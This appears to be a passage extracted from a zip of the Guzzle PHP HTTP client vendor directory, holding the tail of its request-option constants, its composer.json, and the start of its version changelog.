     * taken to send the request.
     */
    public const ON_STATS = 'on_stats';

    /**
     * progress: (callable) Defines a function to invoke when transfer
     * progress is made. The function accepts the following positional
     * arguments: the total number of bytes expected to be downloaded, the
     * number of bytes downloaded so far, the number of bytes expected to be
     * uploaded, the number of bytes uploaded so far.
     */
    public const PROGRESS = 'progress';

    /**
     * proxy: (string|array) Pass a string to specify an HTTP proxy, or an
     * array to specify different proxies for different protocols (where the
     * key is the protocol and the value is a proxy string).
     */
    public const PROXY = 'proxy';

    /**
     * query: (array|string) Associative array of query string values to add
     * to the request. This option uses PHP's http_build_query() to create
     * the string representation. Pass a string value if you need more
     * control than what this method provides
     */
    public const QUERY = 'query';

    /**
     * sink: (resource|string|StreamInterface) Where the data of the
     * response is written to. Defaults to a PHP temp stream. Providing a
     * string will write data to a file by the given name.
     */
    public const SINK = 'sink';

    /**
     * synchronous: (bool) Set to true to inform HTTP handlers that you intend
     * on waiting on the response. This can be useful for optimizations. Note
     * that a promise is still returned if you are using one of the async
     * client methods.
     */
    public const SYNCHRONOUS = 'synchronous';

    /**
     * ssl_key: (array|string) Specify the path to a file containing a private
     * SSL key in PEM format. If a password is required, then set to an array
     * containing the path to the SSL key in the first array element followed
     * by the password required for the certificate in the second element.
     */
    public const SSL_KEY = 'ssl_key';

    /**
     * stream: Set to true to attempt to stream a response rather than
     * download it all up-front.
     */
    public const STREAM = 'stream';

    /**
     * verify: (bool|string, default=true) Describes the SSL certificate
     * verification behavior of a request. Set to true to enable SSL
     * certificate verification using the system CA bundle when available
     * (the default). Set to false to disable certificate verification (this
     * is insecure!). Set to a string to provide the path to a CA bundle on
     * disk to enable verification using a custom certificate.
     */
    public const VERIFY = 'verify';

    /**
     * timeout: (float, default=0) Float describing the timeout of the
     * request in seconds. Use 0 to wait indefinitely (the default behavior).
     */
    public const TIMEOUT = 'timeout';

    /**
     * read_timeout: (float, default=default_socket_timeout ini setting) Float describing
     * the body read timeout, for stream requests.
     */
    public const READ_TIMEOUT = 'read_timeout';

    /**
     * version: (float) Specifies the HTTP protocol version to attempt to use.
     */
    public const VERSION = 'version';

    /**
     * force_ip_resolve: (bool) Force client to use only ipv4 or ipv6 protocol
     */
    public const FORCE_IP_RESOLVE = 'force_ip_resolve';
}
PK
h�\99f�uu&vendor/guzzlehttp/guzzle/composer.jsonnu�[���{
    "name": "guzzlehttp/guzzle",
    "description": "Guzzle is a PHP HTTP client library",
    "keywords": [
        "framework",
        "http",
        "rest",
        "web service",
        "curl",
        "client",
        "HTTP client",
        "PSR-7",
        "PSR-18"
    ],
    "license": "MIT",
    "authors": [
        {
            "name": "Graham Campbell",
            "email": "hello@gjcampbell.co.uk",
            "homepage": "https://github.com/GrahamCampbell"
        },
        {
            "name": "Michael Dowling",
            "email": "mtdowling@gmail.com",
            "homepage": "https://github.com/mtdowling"
        },
        {
            "name": "Jeremy Lindblom",
            "email": "jeremeamia@gmail.com",
            "homepage": "https://github.com/jeremeamia"
        },
        {
            "name": "George Mponos",
            "email": "gmponos@gmail.com",
            "homepage": "https://github.com/gmponos"
        },
        {
            "name": "Tobias Nyholm",
            "email": "tobias.nyholm@gmail.com",
            "homepage": "https://github.com/Nyholm"
        },
        {
            "name": "Márk Sági-Kazár",
            "email": "mark.sagikazar@gmail.com",
            "homepage": "https://github.com/sagikazarmark"
        },
        {
            "name": "Tobias Schultze",
            "email": "webmaster@tubo-world.de",
            "homepage": "https://github.com/Tobion"
        }
    ],
    "require": {
        "php": "^7.2.5 || ^8.0",
        "ext-json": "*",
        "guzzlehttp/promises": "^1.5.3 || ^2.0.1",
        "guzzlehttp/psr7": "^1.9.1 || ^2.5.1",
        "psr/http-client": "^1.0",
        "symfony/deprecation-contracts": "^2.2 || ^3.0"
    },
    "provide": {
        "psr/http-client-implementation": "1.0"
    },
    "require-dev": {
        "ext-curl": "*",
        "bamarni/composer-bin-plugin": "^1.8.2",
        "php-http/client-integration-tests": "dev-master#2c025848417c1135031fdf9c728ee53d0a7ceaee as 3.0.999",
        "php-http/message-factory": "^1.1",
        "phpunit/phpunit": "^8.5.36 || ^9.6.15",
        "psr/log": "^1.1 || ^2.0 || ^3.0"
    },
    "suggest": {
        "ext-curl": "Required for CURL handler support",
        "ext-intl": "Required for Internationalized Domain Name (IDN) support",
        "psr/log": "Required for using the Log middleware"
    },
    "config": {
        "allow-plugins": {
            "bamarni/composer-bin-plugin": true
        },
        "preferred-install": "dist",
        "sort-packages": true
    },
    "extra": {
        "bamarni-bin": {
            "bin-links": true,
            "forward-command": false
        }
    },
    "autoload": {
        "psr-4": {
            "GuzzleHttp\\": "src/"
        },
        "files": [
            "src/functions_include.php"
        ]
    },
    "autoload-dev": {
        "psr-4": {
            "GuzzleHttp\\Tests\\": "tests/"
        }
    }
}
PK
h�\ژ3=aTaT%vendor/guzzlehttp/guzzle/CHANGELOG.mdnu�[���# Change Log

Please refer to [UPGRADING](UPGRADING.md) guide for upgrading to a major version.


## 7.8.1 - 2023-12-03

### Changed

- Updated links in docs to their canonical versions
- Replaced `call_user_func*` with native calls


## 7.8.0 - 2023-08-27

### Added

- Support for PHP 8.3
- Added automatic closing of handles on `CurlFactory` object destruction


## 7.7.1 - 2023-08-27

### Changed

- Remove the need for `AllowDynamicProperties` in `CurlMultiHandler`


## 7.7.0 - 2023-05-21

### Added

- Support `guzzlehttp/promises` v2


## 7.6.1 - 2023-05-15

### Fixed

- Fix `SetCookie::fromString` MaxAge deprecation warning and skip invalid MaxAge values


## 7.6.0 - 2023-05-14

### Added

- Support for setting the minimum TLS version in a unified way
- Apply on request the version set in options parameters


## 7.5.2 - 2023-05-14

### Fixed

- Fixed set cookie constructor validation
- Fixed handling of files with `'0'` body

### Changed

- Corrected docs and default connect timeout value to 300 seconds


## 7.5.1 - 2023-04-17

### Fixed

- Fixed `NO_PROXY` settings so that setting the `proxy` option to `no` overrides the env variable

### Changed

- Adjusted `guzzlehttp/psr7` version constraint to `^1.9.1 || ^2.4.5`


## 7.5.0 - 2022-08-28

### Added

- Support PHP 8.2
- Add request to delay closure params


## 7.4.5 - 2022-06-20

### Fixed

* Fix change in port should be considered a change in origin
* Fix `CURLOPT_HTTPAUTH` option not cleared on change of origin


## 7.4.4 - 2022-06-09

### Fixed

* Fix failure to strip Authorization header on HTTP downgrade
* Fix failure to strip the Cookie header on change in host or HTTP downgrade


## 7.4.3 - 2022-05-25

### Fixed

* Fix cross-domain cookie leakage


## 7.4.2 - 2022-03-20

### Fixed

- Remove curl auth on cross-domain redirects to align with the Authorization HTTP header
- Reject non-HTTP schemes in StreamHandler
- Set a default ssl.peer_name context in StreamHandler to allow `force_ip_resolve`


## 7.4.1 - 2021-12-06

### Changed

- Replaced implicit URI to string coercion [#2946](https://github.com/guzzle/guzzle/pull/2946)
- Allow `symfony/deprecation-contracts` version 3 [#2961](https://github.com/guzzle/guzzle/pull/2961)

### Fixed

- Only close curl handle if it's done [#2950](https://github.com/guzzle/guzzle/pull/2950)


## 7.4.0 - 2021-10-18

### Added

- Support PHP 8.1 [#2929](https://github.com/guzzle/guzzle/pull/2929), [#2939](https://github.com/guzzle/guzzle/pull/2939)
- Support `psr/log` version 2 and 3 [#2943](https://github.com/guzzle/guzzle/pull/2943)

### Fixed

- Make sure we always call `restore_error_handler()` [#2915](https://github.com/guzzle/guzzle/pull/2915)
- Fix progress parameter type compatibility between the cURL and stream handlers [#2936](https://github.com/guzzle/guzzle/pull/2936)
- Throw `InvalidArgumentException` when an incorrect `headers` array is provided [#2916](https://github.com/guzzle/guzzle/pull/2916), [#2942](https://github.com/guzzle/guzzle/pull/2942)

### Changed

- Be more strict with types [#2914](https://github.com/guzzle/guzzle/pull/2914), [#2917](https://github.com/guzzle/guzzle/pull/2917), [#2919](https://github.com/guzzle/guzzle/pull/2919), [#2945](https://github.com/guzzle/guzzle/pull/2945)


## 7.3.0 - 2021-03-23

### Added

- Support for DER and P12 certificates [#2413](https://github.com/guzzle/guzzle/pull/2413)
- Support the cURL (http://) scheme for StreamHandler proxies [#2850](https://github.com/guzzle/guzzle/pull/2850)
- Support for `guzzlehttp/psr7:^2.0` [#2878](https://github.com/guzzle/guzzle/pull/2878)

### Fixed

- Handle exceptions on invalid header consistently between PHP versions and handlers [#2872](https://github.com/guzzle/guzzle/pull/2872)


## 7.2.0 - 2020-10-10

### Added

- Support for PHP 8 [#2712](https://github.com/guzzle/guzzle/pull/2712), [#2715](https://github.com/guzzle/guzzle/pull/2715), [#2789](https://github.com/guzzle/guzzle/pull/2789)
- Support passing a body summarizer to the http errors middleware [#2795](https://github.com/guzzle/guzzle/pull/2795)

### Fixed

- Handle exceptions during response creation [#2591](https://github.com/guzzle/guzzle/pull/2591)
- Fix CURLOPT_ENCODING not to be overwritten [#2595](https://github.com/guzzle/guzzle/pull/2595)
- Make sure the Request always has a body object [#2804](https://github.com/guzzle/guzzle/pull/2804)

### Changed

- The `TooManyRedirectsException` has a response [#2660](https://github.com/guzzle/guzzle/pull/2660)
- Avoid "functions" from dependencies [#2712](https://github.com/guzzle/guzzle/pull/2712)

### Deprecated

- Using environment variable GUZZLE_CURL_SELECT_TIMEOUT [#2786](https://github.com/guzzle/guzzle/pull/2786)


## 7.1.1 - 2020-09-30

### Fixed

- Incorrect EOF detection for response body streams on Windows.

### Changed

- We dont connect curl `sink` on HEAD requests.
- Removed some PHP 5 workarounds


## 7.1.0 - 2020-09-22

### Added

- `GuzzleHttp\MessageFormatterInterface`

### Fixed

- Fixed issue that caused cookies with no value not to be stored.
- On redirects, we allow all safe methods like GET, HEAD and OPTIONS.
- Fixed logging on empty responses.
- Make sure MessageFormatter::format returns string

### Deprecated

- All functions in `GuzzleHttp` has been deprecated. Use static methods on `Utils` instead.
- `ClientInterface::getConfig()`
- `Client::getConfig()`
- `Client::__call()`
- `Utils::defaultCaBundle()`
- `CurlFactory::LOW_CURL_VERSION_NUMBER`


## 7.0.1 - 2020-06-27

* Fix multiply defined functions fatal error [#2699](https://github.com/guzzle/guzzle/pull/2699)


## 7.0.0 - 2020-06-27

No changes since 7.0.0-rc1.


## 7.0.0-rc1 - 2020-06-15

### Changed

* Use error level for logging errors in Middleware [#2629](https://github.com/guzzle/guzzle/pull/2629)
* Disabled IDN support by default and require ext-intl to use it [#2675](https://github.com/guzzle/guzzle/pull/2675)


## 7.0.0-beta2 - 2020-05-25

### Added

* Using `Utils` class instead of functions in the `GuzzleHttp` namespace. [#2546](https://github.com/guzzle/guzzle/pull/2546)
* `ClientInterface::MAJOR_VERSION` [#2583](https://github.com/guzzle/guzzle/pull/2583)

### Changed

* Avoid the `getenv` function when unsafe [#2531](https://github.com/guzzle/guzzle/pull/2531)
* Added real client methods [#2529](https://github.com/guzzle/guzzle/pull/2529)
* Avoid functions due to global install conflicts [#2546](https://github.com/guzzle/guzzle/pull/2546)
* Use Symfony intl-idn polyfill [#2550](https://github.com/guzzle/guzzle/pull/2550)
* Adding methods for HTTP verbs like `Client::get()`, `Client::head()`, `Client::patch()` etc [#2529](https://github.com/guzzle/guzzle/pull/2529)
* `ConnectException` extends `TransferException` [#2541](https://github.com/guzzle/guzzle/pull/2541)
* Updated the default User Agent to "GuzzleHttp/7" [#2654](https://github.com/guzzle/guzzle/pull/2654)

### Fixed

* Various intl icu issues [#2626](https://github.com/guzzle/guzzle/pull/2626)

### Removed

* Pool option `pool_size` [#2528](https://github.com/guzzle/guzzle/pull/2528)


## 7.0.0-beta1 - 2019-12-30

The diff might look very big but 95% of Guzzle users will be able to upgrade without modification.
Please see [the upgrade document](UPGRADING.md) that describes all BC breaking changes.

### Added

* Implement PSR-18 and dropped PHP 5 support [#2421](https://github.com/guzzle/guzzle/pull/2421) [#2474](https://github.com/guzzle/guzzle/pull/2474)
* PHP 7 types [#2442](https://github.com/guzzle/guzzle/pull/2442) [#2449](https://github.com/guzzle/guzzle/pull/2449) [#2466](https://github.com/guzzle/guzzle/pull/2466) [#2497](https://github.com/guzzle/guzzle/pull/2497) [#2499](https://github.com/guzzle/guzzle/pull/2499)
* IDN support for redirects [2424](https://github.com/guzzle/guzzle/pull/2424)

### Changed

* Dont allow passing null as third argument to `BadResponseException::__construct()` [#2427](https://github.com/guzzle/guzzle/pull/2427)
* Use SAPI constant instead of method call [#2450](https://github.com/guzzle/guzzle/pull/2450)
* Use native function invocation [#2444](https://github.com/guzzle/guzzle/pull/2444)
* Better defaults for PHP installations with old ICU lib [2454](https://github.com/guzzle/guzzle/pull/2454)
* Added visibility to all constants [#2462](https://github.com/guzzle/guzzle/pull/2462)
* Dont allow passing `null` as URI to `Client::request()` and `Client::requestAsync()` [#2461](https://github.com/guzzle/guzzle/pull/2461)
* Widen the exception argument to throwable [#2495](https://github.com/guzzle/guzzle/pull/2495)

### Fixed

* Logging when Promise rejected with a string [#2311](https://github.com/guzzle/guzzle/pull/2311)

### Removed

* Class `SeekException` [#2162](https://github.com/guzzle/guzzle/pull/2162)
* `RequestException::getResponseBodySummary()` [#2425](https://github.com/guzzle/guzzle/pull/2425)
* `CookieJar::getCookieValue()` [#2433](https://github.com/guzzle/guzzle/pull/2433)
* `uri_template()` and `UriTemplate` [#2440](https://github.com/guzzle/guzzle/pull/2440)
* Request options `save_to` and `exceptions` [#2464](https://github.com/guzzle/guzzle/pull/2464)


## 6.5.2 - 2019-12-23

* idn_to_ascii() fix for old PHP versions [#2489](https://github.com/guzzle/guzzle/pull/2489)


## 6.5.1 - 2019-12-21

* Better defaults for PHP installations with old ICU lib [#2454](https://github.com/guzzle/guzzle/pull/2454)
* IDN support for redirects [#2424](https://github.com/guzzle/guzzle/pull/2424)


## 6.5.0 - 2019-12-07

* Improvement: Added support for reset internal queue in MockHandler. [#2143](https://github.com/guzzle/guzzle/pull/2143)
* Improvement: Added support to pass arbitrary options to `curl_multi_init`. [#2287](https://github.com/guzzle/guzzle/pull/2287)
* Fix: Gracefully handle passing `null` to the `header` option. [#2132](https://github.com/guzzle/guzzle/pull/2132)
* Fix: `RetryMiddleware` did not do exponential delay between retires due unit mismatch. [#2132](https://github.com/guzzle/guzzle/pull/2132)
* Fix: Prevent undefined offset when using array for ssl_key options. [#2348](https://github.com/guzzle/guzzle/pull/2348)
* Deprecated `ClientInterface::VERSION`


## 6.4.1 - 2019-10-23

* No `guzzle.phar` was created in 6.4.0 due expired API token. This release will fix that
* Added `parent::__construct()` to `FileCookieJar` and `SessionCookieJar`


## 6.4.0 - 2019-10-23

* Improvement: Improved error messages when using curl < 7.21.2 [#2108](https://github.com/guzzle/guzzle/pull/2108)
* Fix: Test if response is readable before returning a summary in `RequestException::getResponseBodySummary()` [#2081](https://github.com/guzzle/guzzle/pull/2081)
* Fix: Add support for GUZZLE_CURL_SELECT_TIMEOUT environment variable [#2161](https://github.com/guzzle/guzzle/pull/2161)
* Improvement: Added `GuzzleHttp\Exception\InvalidArgumentException` [#2163](https://github.com/guzzle/guzzle/pull/2163)
* Improvement: Added `GuzzleHttp\_current_time()` to use `hrtime()` if that function exists. [#2242](https://github.com/guzzle/guzzle/pull/2242)
* Improvement: Added curl's `appconnect_time` in `TransferStats` [#2284](https://github.com/guzzle/guzzle/pull/2284)
* Improvement: Make GuzzleException extend Throwable wherever it's available [#2273](https://github.com/guzzle/guzzle/pull/2273)
* Fix: Prevent concurrent writes to file when saving `CookieJar` [#2335](https://github.com/guzzle/guzzle/pull/2335)
* Improvement: Update `MockHandler` so we can test transfer time [#2362](https://github.com/guzzle/guzzle/pull/2362)


## 6.3.3 - 2018-04-22

* Fix: Default headers when decode_content is specified


## 6.3.2 - 2018-03-26

* Fix: Release process


## 6.3.1 - 2018-03-26

* Bug fix: Parsing 0 epoch expiry times in cookies [#2014](https://github.com/guzzle/guzzle/pull/2014)
* Improvement: Better ConnectException detection [#2012](https://github.com/guzzle/guzzle/pull/2012)
* Bug fix: Malformed domain that contains a "/" [#1999](https://github.com/guzzle/guzzle/pull/1999)
* Bug fix: Undefined offset when a cookie has no first key-value pair [#1998](https://github.com/guzzle/guzzle/pull/1998)
* Improvement: Support PHPUnit 6 [#1953](https://github.com/guzzle/guzzle/pull/1953)
* Bug fix: Support empty headers [#1915](https://github.com/guzzle/guzzle/pull/1915)
* Bug fix: Ignore case during header modifications [#1916](https://github.com/guzzle/guzzle/pull/1916)

+ Minor code cleanups, documentation fixes and clarifications.


## 6.3.0 - 2017-06-22

* Feature: force IP resolution (ipv4 or ipv6) [#1608](https://github.com/guzzle/guzzle/pull/1608), [#1659](https://github.com/guzzle/guzzle/pull/1659)
* Improvement: Don't include summary in exception message when body is empty [#1621](https://github.com/guzzle/guzzle/pull/1621)
* Improvement: Handle `on_headers` option in MockHandler [#1580](https://github.com/guzzle/guzzle/pull/1580)
* Improvement: Added SUSE Linux CA path [#1609](https://github.com/guzzle/guzzle/issues/1609)
* Improvement: Use class reference for getting the name of the class instead of using hardcoded strings [#1641](https://github.com/guzzle/guzzle/pull/1641)
* Feature: Added `read_timeout` option [#1611](https://github.com/guzzle/guzzle/pull/1611)
* Bug fix: PHP 7.x fixes [#1685](https://github.com/guzzle/guzzle/pull/1685), [#1686](https://github.com/guzzle/guzzle/pull/1686), [#1811](https://github.com/guzzle/guzzle/pull/1811)
* Deprecation: BadResponseException instantiation without a response [#1642](https://github.com/guzzle/guzzle/pull/1642)
* Feature: Added NTLM auth [#1569](https://github.com/guzzle/guzzle/pull/1569)
* Feature: Track redirect HTTP status codes [#1711](https://github.com/guzzle/guzzle/pull/1711)
* Improvement: Check handler type during construction [#1745](https://github.com/guzzle/guzzle/pull/1745)
* Improvement: Always include the Content-Length if there's a body [#1721](https://github.com/guzzle/guzzle/pull/1721)
* Feature: Added convenience method to access a cookie by name [#1318](https://github.com/guzzle/guzzle/pull/1318)
* Bug fix: Fill `CURLOPT_CAPATH` and `CURLOPT_CAINFO` properly [#1684](https://github.com/guzzle/guzzle/pull/1684)
* Improvement:  	Use `\GuzzleHttp\Promise\rejection_for` function instead of object init [#1827](https://github.com/guzzle/guzzle/pull/1827)

+ Minor code cleanups, documentation fixes and clarifications.


## 6.2.3 - 2017-02-28

* Fix deprecations with guzzle/psr7 version 1.4


## 6.2.2 - 2016-10-08

* Allow to pass nullable Response to delay callable
* Only add scheme when host is present
* Fix drain case where content-length is the literal string zero
* Obfuscate in-URL credentials in exceptions


## 6.2.1 - 2016-07-18

* Address HTTP_PROXY security vulnerability, CVE-2016-5385:
  https://httpoxy.org/
* Fixing timeout bug with StreamHandler:
  https://github.com/guzzle/guzzle/pull/1488
* Only read up to `Content-Length` in PHP StreamHandler to avoid timeouts when
  a server does not honor `Connection: close`.
* Ignore URI fragment when sending requests.


## 6.2.0 - 2016-03-21

* Feature: added `GuzzleHttp\json_encode` and `GuzzleHttp\json_decode`.
  https://github.com/guzzle/guzzle/pull/1389
* Bug fix: Fix sleep calculation when waiting for delayed requests.
  https://github.com/guzzle/guzzle/pull/1324
* Feature: More flexible history containers.
  https://github.com/guzzle/guzzle/pull/1373
* Bug fix: defer sink stream opening in StreamHandler.
  https://github.com/guzzle/guzzle/pull/1377
* Bug fix: do not attempt to escape cookie values.
  https://github.com/guzzle/guzzle/pull/1406
* Feature: report original content encoding and length on decoded responses.
  https://github.com/guzzle/guzzle/pull/1409
* Bug fix: rewind seekable request bodies before dispatching to cURL.
  https://github.com/guzzle/guzzle/pull/1422
* Bug fix: provide an empty string to `http_build_query` for HHVM workaround.
  https://github.com/guzzle/guzzle/pull/1367


## 6.1.1 - 2015-11-22

* Bug fix: Proxy::wrapSync() now correctly proxies to the appropriate handler
  https://github.com/guzzle/guzzle/commit/911bcbc8b434adce64e223a6d1d14e9a8f63e4e4
* Feature: HandlerStack is now more generic.
  https://github.com/guzzle/guzzle/commit/f2102941331cda544745eedd97fc8fd46e1ee33e
* Bug fix: setting verify to false in the StreamHandler now disables peer
  verification. https://github.com/guzzle/guzzle/issues/1256
* Feature: Middleware now uses an exception factory, including more error
  context. https://github.com/guzzle/guzzle/pull/1282
* Feature: better support for disabled functions.
  https://github.com/guzzle/guzzle/pull/1287
* Bug fix: fixed regression where MockHandler was not using `sink`.
  https://github.com/guzzle/guzzle/pull/1292


## 6.1.0 - 2015-09-08

* Feature: Added the `on_stats` request option to provide access to transfer
  statistics for requests. https://github.com/guzzle/guzzle/pull/1202
* Feature: Added the ability to persist session cookies in CookieJars.
  https://github.com/guzzle/guzzle/pull/1195
* Feature: Some compatibility updates for Google APP Engine
  https://github.com/guzzle/guzzle/pull/1216
* Feature: Added support for NO_PROXY to prevent the use of a proxy based on
  a simple set of rules. https://github.com/guzzle/guzzle/pull/1197
* Feature: Cookies can now contain square brackets.
  https://github.com/guzzle/guzzle/pull/1237
* Bug fix: Now correctly parsing `=` inside of quotes in Cookies.
  https://github.com/guzzle/guzzle/pull/1232
* Bug fix: Cusotm cURL options now correctly override curl options of the
  same name. https://github.com/guzzle/guzzle/pull/1221
* Bug fix: Content-Type header is now added when using an explicitly provided
  multipart body. https://github.com/guzzle/guzzle/pull/1218
* Bug fix: Now ignoring Set-Cookie headers that have no name.
* Bug fix: Reason phrase is no longer cast to an int in some cases in the
  cURL handler. https://github.com/guzzle/guzzle/pull/1187
* Bug fix: Remove the Authorization header when redirecting if the Host
  header changes. https://github.com/guzzle/guzzle/pull/1207
* Bug fix: Cookie path matching fixes
  https://github.com/guzzle/guzzle/issues/1129
* Bug fix: Fixing the cURL `body_as_string` setting
  https://github.com/guzzle/guzzle/pull/1201
* Bug fix: quotes are no longer stripped when parsing cookies.
  https://github.com/guzzle/guzzle/issues/1172
* Bug fix: `form_params` and `query` now always uses the `&` separator.
  https://github.com/guzzle/guzzle/pull/1163
* Bug fix: Adding a Content-Length to PHP stream wrapper requests if not set.
  https://github.com/guzzle/guzzle/pull/1189


## 6.0.2 - 2015-07-04

* Fixed a memory leak in the curl handlers in which references to callbacks
  were not being removed by `curl_reset`.
* Cookies are now extracted properly before redirects.
* Cookies now allow more character ranges.
* Decoded Content-Encoding responses are now modified to correctly reflect
  their state if the encoding was automatically removed by a handler. This
  means that the `Content-Encoding` header may be removed an the
  `Content-Length` modified to reflect the message size after removing the
  encoding.
* Added a more explicit error message when trying to use `form_params` and
  `multipart` in the same request.
* Several fixes for HHVM support.
* Functions are now conditionally required using an additional level of
  indirection to help with global Composer installations.


## 6.0.1 - 2015-05-27

* Fixed a bug with serializing the `query` request option where the `&`
  separator was missing.
* Added a better error message for when `body` is provided as an array. Please
  use `form_params` or `multipart` instead.
* Various doc fixes.


## 6.0.0 - 2015-05-26

* See the UPGRADING.md document for more information.
* Added `multipart` and `form_params` request options.
* Added `synchronous` request option.
* Added the `on_headers` request option.
* Fixed `expect` handling.
* No longer adding default middlewares in the client ctor. These need to be
  present on the provided handler in order to work.
* Requests are no longer initiated when sending async requests with the
  CurlMultiHandler. This prevents unexpected recursion from requests completing
  while ticking the cURL loop.
* Removed the semantics of setting `default` to `true`. This is no longer
  required now that the cURL loop is not ticked for async requests.
* Added request and response logging middleware.
* No longer allowing self signed certificates when using the StreamHandler.
* Ensuring that `sink` is valid if saving to a file.
* Request exceptions now include a "handler context" which provides handler
  specific contextual information.
* Added `GuzzleHttp\RequestOptions` to allow request options to be applied
  using constants.
* `$maxHandles` has been removed from CurlMultiHandler.
* `MultipartPostBody` is now part of the `guzzlehttp/psr7` package.


## 5.3.0 - 2015-05-19

* Mock now supports `save_to`
* Marked `AbstractRequestEvent::getTransaction()` as public.
* Fixed a bug in which multiple headers using different casing would overwrite
  previous headers in the associative array.
* Added `Utils::getDefaultHandler()`
* Marked `GuzzleHttp\Client::getDefaultUserAgent` as deprecated.
* URL scheme is now always lowercased.


## 6.0.0-beta.1

* Requires PHP >= 5.5
* Updated to use PSR-7
  * Requires immutable messages, which basically means an event based system
    owned by a request instance is no longer possible.
  * Utilizing the [Guzzle PSR-7 package](https://github.com/guzzle/psr7).
  * Removed the dependency on `guzzlehttp/streams`. These stream abstractions
    are available in the `guzzlehttp/psr7` package under the `GuzzleHttp\Psr7`
    namespace.
* Added middleware and handler system
  * Replaced the Guzzle event and subscriber system with a middleware system.
  * No longer depends on RingPHP, but rather places the HTTP handlers directly
    in Guzzle, operating on PSR-7 messages.
  * Retry logic is now encapsulated in `GuzzleHttp\Middleware::retry`, which
    means the `guzzlehttp/retry-subscriber` is now obsolete.
  * Mocking responses is now handled using `GuzzleHttp\Handler\MockHandler`.
* Asynchronous responses
  * No longer supports the `future` request option to send an async request.
    Instead, use one of the `*Async` methods of a client (e.g., `requestAsync`,
    `getAsync`, etc.).
  * Utilizing `GuzzleHttp\Promise` instead of React's promise library to avoid
    recursion required by chaining and forwarding react promises. See
    https://github.com/guzzle/promises
  * Added `requestAsync` and `sendAsync` to send request asynchronously.
  * Added magic methods for `getAsync()`, `postAsync()`, etc. to send requests
    asynchronously.
* Request options
  * POST and form updates
    * Added the `form_fields` and `form_files` request options.
    * Removed the `GuzzleHttp\Post` namespace.
    * The `body` request option no longer accepts an array for POST requests.
  * The `exceptions` request option has been deprecated in favor of the
    `http_errors` request options.
  * The `save_to` request option has been deprecated in favor of `sink` request
    option.
* Clients no longer accept an array of URI template string and variables for
  URI variables. You will need to expand URI templates before passing them
  into a client constructor or request method.
* Client methods `get()`, `post()`, `put()`, `patch()`, `options()`, etc. are
  now magic methods that will send synchronous requests.
* Replaced `Utils.php` with plain functions in `functions.php`.
* Removed `GuzzleHttp\Collection`.
* Removed `GuzzleHttp\BatchResults`. Batched pool results are now returned as
  an array.
* Removed `GuzzleHttp\Query`. Query string handling is now handled using an
  associative array passed into the `query` request option. The query string
  is serialized using PHP's `http_build_query`. If you need more control, you
  can pass the query string in as a string.
* `GuzzleHttp\QueryParser` has been replaced with the
  `GuzzleHttp\Psr7\parse_query`.


## 5.2.0 - 2015-01-27

* Added `AppliesHeadersInterface` to make applying headers to a request based
  on the body more generic and not specific to `PostBodyInterface`.
* Reduced the number of stack frames needed to send requests.
* Nested futures are now resolved in the client rather than the RequestFsm
* Finishing state transitions is now handled in the RequestFsm rather than the
  RingBridge.
* Added a guard in the Pool class to not use recursion for request retries.


## 5.1.0 - 2014-12-19

* Pool class no longer uses recursion when a request is intercepted.
* The size of a Pool can now be dynamically adjusted using a callback.
  See https://github.com/guzzle/guzzle/pull/943.
* Setting a request option to `null` when creating a request with a client will
  ensure that the option is not set. This allows you to overwrite default
  request options on a per-request basis.
  See https://github.com/guzzle/guzzle/pull/937.
* Added the ability to limit which protocols are allowed for redirects by
  specifying a `protocols` array in the `allow_redirects` request option.
* Nested futures due to retries are now resolved when waiting for synchronous
  responses. See https://github.com/guzzle/guzzle/pull/947.
* `"0"` is now an allowed URI path. See
  https://github.com/guzzle/guzzle/pull/935.
* `Query` no longer typehints on the `$query` argument in the constructor,
  allowing for strings and arrays.
* Exceptions thrown in the `end` event are now correctly wrapped with Guzzle
  specific exceptions if necessary.


## 5.0.3 - 2014-11-03

This change updates query strings so that they are treated as un-encoded values
by default where the value represents an un-encoded value to send over the
wire. A Query object then encodes the value before sending over the wire. This
means that even value query string values (e.g., ":") are url encoded. This
makes the Query class match PHP's http_build_query function. However, if you
want to send requests over the wire using valid query string characters that do
not need to be encoded, then you can provide a string to Url::setQuery() and
pass true as the second argument to specify that the query string is a raw
string that should not be parsed or encoded (unless a call to getQuery() is
subsequently made, forcing the query-string to be converted into a Query
object).


## 5.0.2 - 2014-10-30

* Added a trailing `\r\n` to multipart/form-data payloads. See
  https://github.com/guzzle/guzzle/pull/871
* Added a `GuzzleHttp\Pool::send()` convenience method to match the docs.
* Status codes are now returned as integers. See
  https://github.com/guzzle/guzzle/issues/881
* No longer overwriting an existing `application/x-www-form-urlencoded` header
  when sending POST requests, allowing for customized headers. See
  https://github.com/guzzle/guzzle/issues/877
* Improved path URL serialization.

  * No longer double percent-encoding characters in the path or query string if
    they are already encoded.
  * Now properly encoding the supplied path to a URL object, instead of only
    encoding ' ' and '?'.
  * Note: This has been changed in 5.0.3 to now encode query string values by
    default unless the `rawString` argument is provided when setting the query
    string on a URL: Now allowing many more characters to be present in the
    query string without being percent encoded. See
    https://datatracker.ietf.org/doc/html/rfc3986#appendix-A


## 5.0.1 - 2014-10-16

Bugfix release.

* Fixed an issue where connection errors still returned response object in
  error and end events event though the response is unusable. This has been
  corrected so that a response is not returned in the `getResponse` method of
  these events if the response did not complete. https://github.com/guzzle/guzzle/issues/867
* Fixed an issue where transfer statistics were not being populated in the
  RingBridge. https://github.com/guzzle/guzzle/issues/866


## 5.0.0 - 2014-10-12

Adding support for non-blocking responses and some minor API cleanup.

### New Features

* Added support for non-blocking responses based on `guzzlehttp/guzzle-ring`.
* Added a public API for creating a default HTTP adapter.
* Updated the redirect plugin to be non-blocking so that redirects are sent
  concurrently. Other plugins like this can now be updated to be non-blocking.
* Added a "progress" event so that you can get upload and download progress
  events.
* Added `GuzzleHttp\Pool` which implements FutureInterface and transfers
  requests concurrently using a capped pool size as efficiently as possible.
* Added `hasListeners()` to EmitterInterface.
* Removed `GuzzleHttp\ClientInterface::sendAll` and marked
  `GuzzleHttp\Client::sendAll` as deprecated (it's still there, just not the
  recommended way).

### Breaking changes

The breaking changes in this release are relatively minor. The biggest thing to
look out for is that request and response objects no longer implement fluent
interfaces.

* Removed the fluent interfaces (i.e., `return $this`) from requests,
  responses, `GuzzleHttp\Collection`, `GuzzleHttp\Url`,
  `GuzzleHttp\Query`, `GuzzleHttp\Post\PostBody`, and
  `GuzzleHttp\Cookie\SetCookie`. This blog post provides a good outline of
  why I did this: https://ocramius.github.io/blog/fluent-interfaces-are-evil/.
  This also makes the Guzzle message interfaces compatible with the current
  PSR-7 message proposal.
* Removed "functions.php", so that Guzzle is truly PSR-4 compliant. Except
  for the HTTP request functions from function.php, these functions are now
